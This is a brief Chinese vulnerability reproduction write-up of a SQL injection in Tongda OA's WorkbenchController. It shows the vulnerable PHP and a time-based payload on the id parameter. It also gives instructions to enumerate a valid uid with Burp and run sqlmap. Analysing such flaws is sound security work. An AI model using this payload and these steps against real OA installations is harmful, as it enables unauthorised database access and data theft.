## 漏洞复现

漏洞文件位 **webroot/general/appbuilder/modules/portal/controllers/WorkbenchController.php**

```php
public function actionUpsharestatus()
	{
		Yii::$app->response->format = yii\web\Response::FORMAT_JSON;
		$data = modules\appdesign\models\AppUtils::toGBK($_POST);

		if (modules\portal\controllers\intval($data["uid"]) == $_SESSION["LOGIN_UID"]) {
			modules\portal\models\PortalWorkbench::updateAll(array("state" => "{$data["status"]}"), "id={$data["id"]}");
		}
		else if ($data["status"] == 1) {
			modules\portal\models\PortalWorkbenchState::deleteAll(array("wids" => "{$data["id"]}", "uid" => "{$_SESSION["LOGIN_UID"]}"));
		}
		else {
			$Work = new modules\portal\models\PortalWorkbenchState();
			$Work->wids = $data["id"];
			$Work->uid = $_SESSION["LOGIN_UID"];
			$Work->save();
		}

		$dataBack = array("status" => 1, "msg" => modules\portal\controllers\_("操作成功"));
		$dataBack = modules\appdesign\models\AppUtils::toUTF8($dataBack);
		return $dataBack;
	}
```

其中 **updateAll()** 函数并没有使用防止 SQL注入的 **sql_injection()** 来防止注入

**webroot/inc/conn.php**

![](http://wikioss.peiqi.tech/vuln/tongdaoa-43.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

所以这里就出现了 id 参数存在注入的情况，请求包如下

```

uid=15&status=1&id=1;select sleep(4)
```

注意 uid参数 要为当前用户的uid才能完成请求，可以使用 burp 遍历查看时间响应

例如这里使用官网的测试账户 uid 遍历出为 15

如果uid错误则不会出现时间延迟，将请求包放入 Sqlmap跑一下
